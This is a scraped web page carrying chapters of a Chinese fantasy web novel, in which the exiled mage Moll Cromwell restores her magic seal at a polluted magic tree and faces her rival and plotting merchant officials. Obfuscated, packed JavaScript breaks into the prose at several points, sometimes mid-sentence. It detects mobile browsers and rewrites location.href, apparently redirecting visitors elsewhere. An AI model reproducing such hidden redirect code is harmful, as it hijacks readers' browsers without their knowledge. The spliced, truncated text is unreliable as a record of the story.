d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036399|148870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，犹豫一番，说：“上来吧。” 莫尔坐上了魔毯，小兽人正准备启程时，魔毯右边忽然一重，随后凹下去一块，但空无一物。 小兽人：“……？” 莫尔投了四倍的钱，赫斯币塞满了银钱罐。 小兽人这才满意地转过头，操纵魔毯飞上天。 莫尔口中的区域离这里很远。星城学院区的范围很大，内部有魔法阵守护，十分安全，但学院区以外的迷雾区，却没有几个人愿意踏足。 迷雾区是杜林大陆未开发地区的统称，并不是因为有多少真雾，因为摸不清区域内的具体情况，像盖着一层雾，所以才被称为迷雾区。 迷雾区内也有人生活，但是少之又少，绝大部分人都会沦为暗地魔物的口粮。 这也是小兽人忌惮的原因。 不过顾客给了太多钱，也不是不能勉为其难跑一趟。 穿过许多尖塔建筑物后，周围的人造房屋越来越稀疏，最后消失不见。 魔毯停在学院区的边缘线附近，将两人放下。 “到了。” 小兽人说完，匆匆忙忙地飞走了。 莫尔落地后，踩了踩脚下湿软的泥土，说：“熟悉的味道，我们离它不远了。” 巴尔手中的机械指南针转了转：“还有一段路呢，不要松懈。商行投资人可不会把学院区选在离幻法树太近的地方。” 莫尔深吸一口气，胸膛中的心猛跳，不由地攥紧手指：“……” 幻法树……她多久没听到这个名字了？ 莫尔闭了闭眼，想起了从前。 她十岁那年，就是在幻法树下测出了紫晶级魔法天赋。 幻法树是每块大陆的魔法树，传说是大陆主神遗留下的魔法之源，每块大陆上都有三棵幻法树，其根系遍布整座大陆，连接着大陆上的魔法气息。 每一个即将成为魔法师的潜力者，都需要先经过幻法树的认可，这段时期被称为魔法师的开灵阶段。 好的学院会把院校修建在幻法树的不远处，以加强自身与魔法网的联系，但维克托学院却不一样。 因为杜林大陆的幻法树早在千百年前就遭到了污染，早已失去了纯净，不适合为学院的学生开灵，不仅不能靠近，反而还需要远离。 可她却不得不去寻找幻法树，为自己以后的路铺垫。 在她的紫晶级幻法印被毁后，她便与幻法树失去了联络，无法学习魔法，但在两年前，她意外发现了一丝扭转命运的可能。 她在父母的遗物里发现了一本笔记，是关于幻法印重启的方法，和她父母搜寻方法时记下的日记。 她的父母在来到杜林大陆后不久便自杀了，但在审判结束之前，他们一直在利用仅存的人脉和资源，帮她寻找重启幻法印的办法。 也正是发现了那本笔记，下定了她回去的决心。无论如何，她都不能辜负父母的心血，她要重新成为魔法师，重振克伦威尔家族。 如今就是她最好的机会，药剂已经调配好，只差幻法树了。 5. 法印共鸣 “你想好了？踏入迷雾区去寻找幻法树，有可能会没命。” 巴尔点亮了一盏驱雾灯，灯芯中的橘黄色灯芯不停地跳动，映在他墨绿色的眼眸中，如同森林中的一团火。 莫尔盯着他的眼睛，沉默不语：“……” 通常情况下，火出现在森林可不是一件好事，这更像是在暗示面前道路的危险坎坷。 迷雾区从来就不是什么好地方，他的酒馆虽然在学院区以外，但至少在星城的开发地带以内，除了街上到处乱窜的老鼠、满口吐白沫的流浪汉，和时不时刷新出来的死尸，其他还算得上和平。 如果说星城明晃晃的混乱，迷雾区则是未知的危险。 “这片迷雾区的地下矿藏丰富，进去之后，我的指南针会受到干扰失灵，想再出来全靠运气。”巴尔严肃地说，“如果你能成功找到幻法树，开启法印共鸣，或许可以用魔法将我们带出来。” 莫尔：“你自己也是魔法师，居然会担心这种事？” 巴尔：“我主修的是冶金魔法，这可不能为我们引路。当向导，那是翼族擅长的事。” 莫尔：“……我会尽力的。” 事实上，她也不敢保证自己能出来，哪怕她这次能成功，也不能当场使用魔法，因为自从她幻法印被毁后，再也没接触过任何关于魔法的书籍，之前学过的都忘得差不多了。 莫尔没有告诉他。 因为侏儒族太过固执，一旦她的顾虑被他知道，让他产生了放弃帮助的想法，十头牛都拉不回来了。 巴尔收了她许多钱，也轮到他付出的时候了。 莫尔踏入了迷雾区，一股寒气将她包围，她的指尖凝结冰霜，被冻住了。 巴尔提着灯靠近她：“用这盏魔灯挡住冰气。杜林大陆曾是冰之主神的统治区，在未开发过的地方，大多很寒冷。” 莫尔笑了笑：“谢谢你，不过，灯给我之后，你怎么办？” 巴尔冷冷地说：“我好歹也是有魔法的人，不用担心我。” 莫尔牵起他的手，两人靠近了一些：“这样一来就没问题了。” 巴尔别过了脸，继续往前走，他的步子很快，像是想甩掉她，但却没有松开手。 正如巴尔所说，他的指南针失灵了，只能靠着事先计划好的路线前进。 当然，在此之前，他们也是做过准备的。莫尔这两年来一直在打听迷雾区的消息，除了无家可归的人以外，星城也有一部分猎人，喜欢深入迷雾区猎杀魔物。 他们有一套独特的寻路方法，而经常在迷雾区讨生活的人，难免会遇到迷失的幻法树。 莫尔从这些人口中得知了一条大致路线，总结出了最有可能存在幻法树的地方。 学院区不会建得离幻法树太近，同样也不会太远，保持在一个中间范围内，确保学生安全的同时，又能与大陆魔法网共鸣。 按照猎人们给的方法走过一段路后，莫尔停在一块空地上，怀中灯火摇摇晃晃。 她思考了一会儿，选择了往侧边走。 巴尔回头看了一眼身后，他们走了五个小时，现在已经看不清学院区的建筑了，脚下是一片散发荧光的蘑菇地，稀疏的巨树上缠绕着小蛇一般的树藤，古老而稳重。 天逐渐黑了，红眼蝙蝠在空中飞来飞去，显得周围十分阴森。 巴尔的斗篷边缘沾上不少泥，一路上，他无数踩到肮脏的绿□□，他骂道：“真是个该死的地方，如果我是杜林大陆的主神，我一定会让信徒把这片森林夷为平地。” 他抱怨之际，莫尔忽然停下了脚步，他一时没注意到，差点撞到她身上。 巴尔怒目圆睁：“你……！” 莫尔松开了他的手，红茶般的眼瞳朝高处望去：“是幻法树。” 巴尔轻哼一声，用袍子擦了擦小手：“还真让你找到了，没少给城外那群爱吹牛的猎人塞钱吧。” 莫尔身前的不远处，一棵庞大的古树扎根于地面，树干爬满复杂的绿藤，繁茂的树叶如同一把巨伞，遮蔽了一大片天空，而树叶上却是冰霜凝结。 古树前面有一座破损的神像，冰之主神杜林低头，手捧着一朵雪花，蓝水晶镶嵌的眼珠蒙了尘，却依然十分神圣。 因为太久没有人打理，在时间的摧残下，女神像的一只手臂已经断落，断口处生出青苔，在风中静默。 巴尔是从伊芙大陆来的侏儒，他并不信仰冰之主神，只是出于礼节，对着神像微微一低头，随后三两步跨向幻法树。 “这棵幻法树……已经快死了。”巴尔摸了摸树干，“不过我们来得很及时，它还剩一口气。” 莫尔抬头看向树上，杜林大陆已经在混乱中度过了许多年，这片大陆上的人越来越少，没有新的魔法师共鸣，它陷入了休眠，时间一长，枝叶都已枯黄。 这样的幻法树，开启的幻法印通常不会很高级，但莫尔没得选。 其他大陆的幻法树都处于高星学院的管辖之下，她一个连正式身份都没有的人，能在其他大陆生活下去就不错了，更别提重启幻法印。 她只能在去其他地方前，先把幻法印的事情解决掉。 莫尔抬手触碰树干，一瞬间，她仿佛感受到了树干中魔力的流转，这种久违的感觉，让她忍不住沉迷。 “把药剂给我吧。”莫尔摘下手套。 巴尔从斗篷的口袋里掏出一支水晶管，立马装着蓝色的魔法药剂，正是用莫尔提供给他的配方制成的，没有一点儿偷工减料。只要给他足够的钱，他绝对是世界上最诚实可信的药剂师。 莫尔将那一支药剂倒在幻法树的树根下，只留一半，药剂入土时，整棵大树开始震颤起来，树叶间抖落无数光点。 她见这般情景，立刻喝掉另一半药剂，没过一会儿，枝叶间飘落的光点朝她心脏处汇聚。 巴尔眸光一动：“开始了。” 然而他刚说完，就看见莫尔闭了闭眼，直接倒地。 巴尔面露惊讶：“你……怎么晕了！？” 他连忙扶起莫尔，将她靠在树干上，探了探鼻息，还活着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036400|148870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余光无意一瞥，巴尔看见那残破的女神像的眼睛散发出亮光，他忽然愣住。 这是……主神遗念的传召。不愧是曾经拥有过紫晶级天赋的人，哪怕是重启，也能收到平常人望不可及的主神传召。 巴尔沉默一会儿，再一次对女神像低下了头。 …… …… 混沌的空间里，寒冷无比。 莫尔睁开眼，面前幻化出一片冰天雪地，古老的幻法树在此方空间内，一如生命中最繁茂的时刻。 她看着这棵幻法树，有一瞬间，感觉自己好像回到了伊芙大陆。 可……这是哪里？ 莫尔往前踏了一步，短靴在雪上留下印记，雪花从她眼前飘过。 她来到幻法树的那一边，神像座上的不再是断臂女神的石像，而是一个身穿法袍的白臂女人，她坐在上面，冰蓝色眼眸回转，目光慈爱。 莫尔愣了愣：这张脸，和神像上的一模一样。 “这里许久没有人来过了。”白臂的女神说。 莫尔微微俯首：“莫尔·克伦威尔，敬仰您，我的女神。” 白臂的女神注视她：“这片大陆上，还有我的信徒吗？” “我曾是伊芙主神的信徒……后来不是了。”莫尔说。 杜林女神笑了笑，十分温柔，背后散发着柔和的冰蓝光环，气质脱俗：“我看得出来，你身上没有神之授印，你现在是无信仰者。但你的体内有紫晶印的遗留痕迹。你拥有过最珍贵的宝物，可惜你没能抓住它。” 莫尔不可否认：“是。” “那么，你向幻法树祈愿，是为了从我这里获得力量吗？” 莫尔点了点头。 杜林女神的身体如雪花般飘下，来到她身边：“你是千百年来，第一个有资格见我的人。你能找到重启幻法印的魔药，并选择我的大陆，我很欣慰。但如你所见，这片大陆已经太久没有得到过安宁。” “你所见到的，只是我的一道遗念。”女神说，“这片大陆的幻法树已被污染，你的选择，并不明智。” 莫尔：“我知道……可我没有其他选择。我有一件必须要做的事，我需要力量。” 杜林女神飘到她身后，长发拂过她的面颊，手指轻点，沉默一会儿后，说：“……原来如此，我理解你的愤怒。你曾拥有最耀眼的天赋，凭这一点，我可以帮助你。但我也有一个条件。” 莫尔：“您请说。” 杜林女神微笑着摇了摇头，随后在她手腕处点了点，一道印记缓缓出现。 “现在还不是时候，等你成长为合格的魔法师，它会告诉你我的条件。”杜林女神在她脸颊处落下一吻，“你需牢记，从今以后，你是我的信徒、我的子民。” 莫尔看了看自己的手腕，久违的空缺终于被填上，她一时有些恍惚。 蓝发身影逐消散，声音仿佛从天上降落，带着圣光，照耀着她：“冰雪融化后，大地就该发芽了。希望我没有看错人，祝福你获得新生，我的孩子。” 6. 戈城双骄 “滴——！” “滴——！” 钟表的指针转动声在空旷的房间里回荡，吵醒了正在沉睡的莫尔。 她从头痛中醒来，脑袋昏昏沉沉，睁开眼，只看到一片漆黑的天花板。 莫尔猛然清醒，从木板床上坐起来，有些茫然：她不是在幻法树附近吗，怎么到了这里？ 她朝周围扫视一圈，熟悉的机械装置堆放在角落，上面挂着一块树状图标。 这里是巴尔的地下房间。 莫尔松了一口气，随后冷静下来，第一时间撸起袖子，看自己的手腕。 原本长着疤痕的地方，出现了一块模糊的印记，看轮廓像是某种花。 是重启的幻法印。 幻法印按印灵种类分为兽印和木印，所谓兽印，就是飞鸟走兽，木印是花草灵木。两印之下，又分出十种魔法衍性。 她之前的印灵为毒蝰蛇，衍性为光明属性。身为紫晶级天赋的魔法师，她十岁开灵那天，也收到了光明神伊芙的遗念传召。 所谓遗念传召，是大陆主神留在世间的一缕念想，存于神像之中，只有天赋极高的魔法师开灵时，才有可能被传召。而被传召的魔法师，获得的衍性大多和主神相同。 莫尔依然记得她被光明神传召的情景，不同于冰神的慈爱怜悯，光明神伊芙是一位战神，她的气质更为骄矜高傲，身上带着杀气，好像视世间一切为脚下蝼蚁。 当光明神的遗念见到她时，目光中尽是赞赏和期许。 当然，这仅限于她还是紫晶级的时候，她的幻法印被毁后，别说再见幻法树，就连戈城学院区的范围都进不去了。 而现在…… 莫尔尝试着催动幻法印，一股冰霜的冷意遍布全身。 不出她所料，她的新衍性，应该是冰性。印灵是木印，具体是什么，她认不出来。 不过也正像冰神所说的那样，杜林大陆的幻法树受到污染，带着神意庇护的主像遗失，已经不能为她提供太多力量。 她重启幻法印之后的等级很低，低到让她自己也难以想象。 “咚！咚咚！” 门被敲响，莫尔回过神，整理好凌乱的发丝。 “进来。” 巴尔推门而入，脸上带着怨气，手里端着一个银盘，他反脚踹上了门：“你还知道醒？我还以为你冒犯了冰神，被她随手拍死了。” 莫尔站起身，她的身高在侏儒的房间里显得有些高大，脑袋快要碰到天花板了。 “是你把我带回来的？” 巴尔：“不然还有谁？我早就知道，你不是个靠谱的人，最后依然得我出力。你知道一个侏儒拖着一件斗篷在大街上奋力行走，会引来什么样的目光吗？” 莫尔这才反应过来，她身上披着巴尔的隐身斗篷，一路走来，应该没有人发现她。 莫尔温柔一笑：“谢谢你，巴尔。” 巴尔扭过头，“砰”地一声把银盘放在桌上：“这是稳固新生印灵的魔药，赶紧喝了，不要死在我这里。” 莫尔连忙喝下魔药，顿时感觉精神都振奋不少，体内流淌着力量，虽然很微弱，但也足以让她欣喜。 现在，她也是重获新生的人了。 “你的等级怎么样？”巴尔问。 莫尔：“按照这股原始力量的强度，应该是黄晶级。” “才黄晶级？”巴尔小脸一皱，“看来杜林大陆的幻法树污染程度真不小，难怪学院区要远离它，要是用它开灵，高天赋还得倒退。” “你有资格见主神，我以为至少也是蓝晶级起步，冰神果然像传闻中一样小气。” 黄晶级天赋，也只比最低的白晶级高一等而已，这种天赋只能去四星级以下的学院，而四星以下的学院通常出不了厉害的魔法师。 莫尔笑着说：“没关系，总比没有好。印灵等级还可以通过专门的魔药来提升。” 巴尔没好气地白她一眼：“你把提升印灵的魔药当成路边的萝卜吗？那可是最昂贵的魔药种类之一。难道等你离开时，还要把哈罗德家的矿区一起搬走？” “除了这一条路，也没有其他办法了。”莫尔无奈，“钱的事，以后再想办法。巴尔，你今天可不要扫我的兴。” 巴尔绿眸一转：“嘁，你在我这儿睡了两天，我花了大把魔药稳住你的身体，结果你醒了，却说出这样的话。早知道我该把你扔大街上。” “我睡了两天？”莫尔震惊，“糟了……” 她摸出怀表，看了看时间，距离斐瑞的测印仪式开始还剩两个小时。 莫尔立刻脱下斗篷，拍了拍裙上的尘土，拿起桌边的圆帽：“我有点事，得先走了，下次见面再聊。” 她说完，立刻出了门。 门被重重关上，巴尔被吓得耳尖一颤：“……没良心的女人。” 他刚说完，莫尔又推门而入，返了回来。 她弯下腰，迅速在巴尔的脸颊上亲了亲：“谢谢你。” 巴尔愣了一下，然后手忙脚乱地推开她，脸瞬间涨红，慌乱地说：“走开！我的家族可没有这种习惯！” 莫尔摸了摸他柔软的黑发，无言一笑，转身离去。 …… …… 学院区今天格外热闹，临近毕业大考，众学员的精神都变得十分亢奋。 当莫尔来到维克托学院大门前时，附近还有说说笑笑的学员，看样子测印仪式还没开始，她不算迟到。 莫尔顺利进入了学院，门口的守卫认识她，并没有阻拦。因为他们知道斐瑞和她关系很好，而斐瑞又是学院里备受瞩目的高天赋魔法师之一，他们不想得罪他的朋友。 她走进学院广场，这里聚集了许多学员，他们穿着统一的校服，脸上洋溢着青春的光彩。 莫尔一过来，便引起了许多学员的关注，很显然，这里认识她的人不在少数。 “她怎么又来了？” “是来看斐瑞的吧。如果我是她，就不会出现在魔法学院里，光看着别人展现魔法天赋，自己心里不难受吗？” 大部分人都不理解莫尔为什么天天往这边跑，如果只是来看人，完全不至于，她和斐瑞住在一起，见面的机会每天都有。 “估计是想在我们这块小地方找找自尊吧，毕竟以前也是个天才，要真说起来，我还挺羡慕她，至少曾经当过一块大陆最耀眼的存在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036401|148870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像我们这种普通天赋，一辈子也达不到她的起点。” “飞得高，摔得才惨。羡慕什么啊，她的终点，还不如我们的起点呢。” 众人议论纷纷，莫尔习惯了这种声音，她假装听不见，毕竟她一个人也堵不住这么多张嘴，干脆不搭理他们，直接在人群中寻找斐瑞的身影。 正在此时，一个人影缓缓朝这边走来，所经过的地方，其他学员主动避开，让出一条宽敞的路。 莫尔面不改色，直到那人在她前方不远处停下，她才抬起眼。 对面是个身穿白色私服的少女，看着和她年纪一样大，但少女的神态很高傲，一头淡紫色长直发随风飘扬，清丽的眉眼间尽显冷傲。无论从哪方面看，她近乎完美，唯一的缺点是她额头前的刘海，被剪得稀碎，像长歪的锯齿一般。 少女拦住了她的路，声音如同冰泉般寒冷：“克伦威尔，这四年，你让我很失望。” 莫尔并未理会她，正想换一条路走，刚转过身，背后再次传来声音：“你是故意装成这副模样来欺骗我吗？” 听到她这句话，周围的学员闻到了大消息即将爆出的气息，不由自主地在两人之间来回看。 这位气焰嚣张的少女不是别人，正是维克托学院的另一位高天赋魔法师，娜塔莎·杜威。 这位杜威小姐和哈罗德不同，她是从富饶的伊芙大陆转来的，原本在戈城高级魔法学院就读，四年前，当莫尔·克伦威尔来到这里后，杜威小姐就在同年的十二月转入了维克托学院。 听说在莫尔·克伦威尔的幻法印未毁之前，两位小姐同为戈城数一数二的高天赋魔法师，但杜威比克伦威尔低了一等，她是绿晶级幻法印。 两人在伊芙大陆并称为“戈城双骄”，都是被寄予厚望的魔法师。但自克伦威尔出事后，便只剩下娜塔莎·杜威一人。 有人猜测，这位杜威小姐与克伦威尔之前有过恩怨，而她放弃富饶大陆的高级魔法学院，来到这里，是为了打压曾经高她一等的紫晶天才。 事实上，杜威的行为也坐实了这个猜测，她每年都会提前学完一整年的魔法课程，然后用剩下的时间来观察克伦威尔，每当她一走进学院，必然会被杜威找上来。 后来因为斐瑞测出蓝晶级高天赋，而且有意警告她，杜威才稍微收敛了一些，斐瑞一走，她又会十分嚣张地继续靠近。 而克伦威尔似乎不想看见她，但也从未斥责过她的行为。 众学员不禁好奇这两人之间的关系，目不转睛地盯着她们。 只见莫尔表情冷漠：“杜威，无论你再怎么纠缠，事实都摆在你面前。我早已不是从前的紫晶级魔法师，你也不用提心吊胆地忌惮我。” 娜塔莎眉毛一皱，紫罗兰似的眼睛流露出怒意：“你这个混蛋女人，少在我面前装傻，我才不信你的话！我在这儿陪你耗了四年，马上就要大考，我也没耐心继续等下去了。在我离开这块破大陆前，你必须给我一个答案。” “你喜欢隐藏，我硬要逼出你的真正实力！” 她说完，手中便有红色的魔法力在升腾，脖颈间的红鸟印开始提供力量。 那是……火属性的绿晶级兽印。 7. 测印仪式 见她当众在学院广场上使用魔法，莫尔不禁红眸一暗。 娜塔莎没有给她反应的时间，火魔法在空中形成几只火鸟，径直朝她射去。 那火鸟划过空间，发出尖锐的长啸。 莫尔退后两步，试图侧身躲开，然而被那火鸟一直追击，被逼得步步后退。 她下意识想用魔法还击，可临到腕上时，才想起自己的幻法印还不稳定，只能强行用手挡下。 莫尔一手抓住了朝她飞来的火鸟，这道魔法术只是对方的试探，并不算多强，她感受到一股炽热的烫意，手套被直接烧穿，皮肤烧伤了一大片。 然而周围没有人敢过来帮忙，因为对方是杜威家的大小姐，未来至少要进入五星级魔法学院的人，他们都不想得罪她。 而且，在这种情况下，他们也会下意识站在杜威小姐这边，无论克伦威尔从前再辉煌，那都是过去的事了。 娜塔莎看她徒手接魔法鸟，身上却没有一丝魔法运转的痕迹，不禁皱眉：“你还是这副废物的模样。如果我像你一样不会魔法，根本没有脸面踏入学院区。克伦威尔，这四年，就当是我杜威看错人了。” “现在的你，就是一个彻彻底底的废物。” 莫尔闭了闭眼，掌心的疼痛刺得她捏紧手指：“……” 这股疼痛，让她想起了从前。从前的她和杜威的关系也不算太好，因为同是高天赋魔法师，常常受到外人的比较，而那时，杜威时常被她压了一头。 在戈城，被莫尔的光环盖过的人不在少数，杜威是最不服气的那一个。 自从克伦威尔家被审判庭判决流放之后，她不知道发了什么疯，硬要跟她一起来杜林大陆，只为了来打压她，甚至不惜放弃戈城的高级魔法学院。 这些年，莫尔一直刻意躲着她，因为见到她，总是会让她想起从前还是紫晶级天赋的自己。 没有对比，就没有伤害。如今的她想还手，却没有丝毫力气，身为绿晶级的杜威在这四年间早已甩了她一大截，而她是低等的黄晶级，魔法学习甚至还没起步。 仇视她的人，太多。她能打得过的人，太少。 莫尔强行压下了心中的怒意，现在的她还太弱，一旦在自己的仇人面前展现重启后的幻法印，肯定会遭到二次追杀。 “你说得对。”莫尔说，“杜威，这四年，我也记住你了。” 但迟早有一天，她会回到伊芙大陆，把这笔屈辱账讨回来。 娜塔莎冷笑：“我本以为你是装的，故意转移别人的视线，带着紫晶级天赋偷偷来这块地方成长，没想到四年过去，你依然没有一点改变。这一次，我信你是个废物了。既然是废物，我也不会多和你计较，就当是本小姐大发善心，放过你了。” 她收回火鸟，淡紫长发飘扬，转身离开了这个地方。 她抬脚，便与迎面而来的斐瑞撞上，她直接忽略了斐瑞，大步朝前走去。 斐瑞一看见她，心中警铃大作，连忙看向四周，只见人群中的莫尔背着手，对他微微一笑。 斐瑞冲了过去：“莫尔，你没事吧？” 莫尔摇头：“没事，刚才起了争执而已。” 斐瑞见她背着双手，大概猜到了刚才发生了什么，他不顾莫尔的躲闪，执意拉出她的手。 看见她手上的烧伤痕迹后，斐瑞皱起了眉：“是她干的？我去帮你讨回来……” 莫尔反抓住他：“不要去，今天是测印仪式，你们两个同为学院的优秀新生，这时起冲突，对你没有好处。而且，杜威本就是外大陆的人，维克托商行的负责人肯定会偏向她，你别去招惹她。” 斐瑞：“可是……” 莫尔：“听话。” 她不是不想立刻教训杜威，只是眼下的时候不合适，她不希望斐瑞因为她得罪了杜威。 因为斐瑞将来要去的维莱特学院，就在戈城，而杜威家是戈城有名的贵族，杜威很有可能将来和他进同一个学院。 开局和本地贵族同学带了一段仇，将会是地狱难度的开局。 莫尔：“斐瑞，你先带我去疗愈师那边治疗伤口，不要管她。我还等着看你的测印仪式呢。” 斐瑞虽然心中不愉快，但顾忌莫尔的伤，他只能暂时抛开去找杜威麻烦的念头，带莫尔去治伤。 两人一走，学院广场上的人又恢复骚动，开始低声议论起来。 而刚才那一幕闹剧，全部落在了北边大楼顶端的几个人眼中。 学院高层议事楼，透明的玻璃窗前，几个身穿绿袍的蒙面人围着中间一个男人，那男人栗发微卷，淡红色眼瞳注视着金发少年和红发少女。 “红发红眼的人族……倒是让我想起了一个人。”那男人说道。 旁边身穿紫裙的尖耳女人冷淡地说：“能让杜威小姐动手的人，除了莫尔·克伦威尔，还有谁？那小姑娘当初不就是为了盯她，才转学来这块混乱的大陆吗。” 两人胸前都别着一枚金色徽章，上面刻着权杖与荆棘，还有一串复杂的血族文字。 他们就是本次测印仪式的见证者，伊芙大陆维克托商行派来验收学员的负责人，看外表判断，男人属于血族，而女人则是一位精灵。 “真的是她？没想到她还活着。”那男人惊讶，“……克劳瑞丝，她也是测印学员之一吗？这恐怕不太行吧……” 被称作克劳瑞丝的精灵扫过学员名单，说：“没有她。很显然，她没资格入学，否则也不会这么轻易被杜威小姐伤到。她应该是那个半精灵少年的陪同者。” 西泽松了一口气：“也对，她早就失去这个资格了。难怪杜威家的小姐这四年一直不肯回去，原来是因为她还活着。” 克劳瑞丝：“她死了，自然最好。” “哦？”西泽笑了，“听你的意思，我们此行似乎还有别的任务？” “戈城希望她死的人太多了，不过这四年，却很少有人能得知她真正的情况。所以商行派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036402|148870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们来，一是为了验收学员，二是为了打探她。现在看来，她还活得好好的。” 西泽收起笑容，陷入沉思。 克伦威尔家族和维克托商行的恩怨，他们都知道，当年七十一城的贵族把克伦威尔城主送上审判庭，证据根本不足以坐实他的罪名，是维克托商行提供了关键证据，才让他被定罪。 而给出证据的那人，是维克托商行裁决高层之一。 “克伦威尔城主……可惜了 ”西泽叹气，“他是一位好城主，但有时候，拥有得太多，难免遭人嫉妒。戈城那句俗语怎么说来着，‘财富、地位和高天赋的儿女，三者只能同时存在两样’。他已经拥有了前两样，再生一个紫晶级魔法师，伊芙大陆以后就要变天了。” 紫晶级天赋，放在四大陆都是罕见的存在，但不是所有人都希望它存在，莫尔·克伦威尔又是人族，这一种族学习魔法有得天独厚的优势，自然少不了别人眼红。 但要说七十一城的所有贵族联合起来打压克伦威尔家族，实在太过牵强。其实知情的人都能猜出来，克伦威尔家族应该是触及了哪位大人物的利益，才遭此灭顶打击。 而维克托商行和大部分贵族选择了站在那位大人物身边。 莫尔·克伦威尔自己应该也是明白的，但尚未成长起来就被毁掉幻法印的她，根本没有反抗的能力，甚至查不到那人是谁。 西泽：“所以，总行的意思是，让我们借此机会除掉她？” “不一定要她死。”克劳瑞丝说，“如果她确实成了再也不能使用魔法的废人，没必要弄脏我们的手，毕竟审判庭每年都会调查流放者的情况，做起来很麻烦。当然，如果她的紫晶幻法印还未完全报废，无论如何也要处理掉她。” 既然维克托商行已经站队，打破了中立立场，一时半会儿就脱不开关系了，莫尔·克伦威尔估计也视他们为仇人，放任一个有高魔法天赋的敌人成长起来，这是一件很可怕的事。 西泽眉毛一跳：“幻法印……还能只废一半？” “谁知道呢，紫晶级太过稀少，谁也说不准，主神会不会给他们独特的偏爱。” 西泽摸了摸下巴，红瞳幽深：“那个半精灵少年呢？看样子，他和克伦威尔的关系不错，要是他以后想帮她，还真有点麻烦。学员资料上有他的留影，是个蓝晶级兽印，快要赶上杜威小姐了。” 克劳瑞丝往前翻了一页，果不其然，那个名叫‘斐瑞’的半精灵也是高天赋者，他的名字就在娜塔莎·杜威下面。 她想了想，说：“既然是蓝晶级，自然不能错过。偏远地方长大的人没什么见识，他现在和克伦威尔关系好，以后到了别的大陆，见识新世界后，可就不一定了。我们不用管他。” 克劳瑞丝刚说完，有人敲响了门。 两人齐齐回过头，进来的是学院院长，两人对视一眼，终止了这个话题。 “两位，测印仪式将在二十分钟后开始，请随我一起下楼吧。”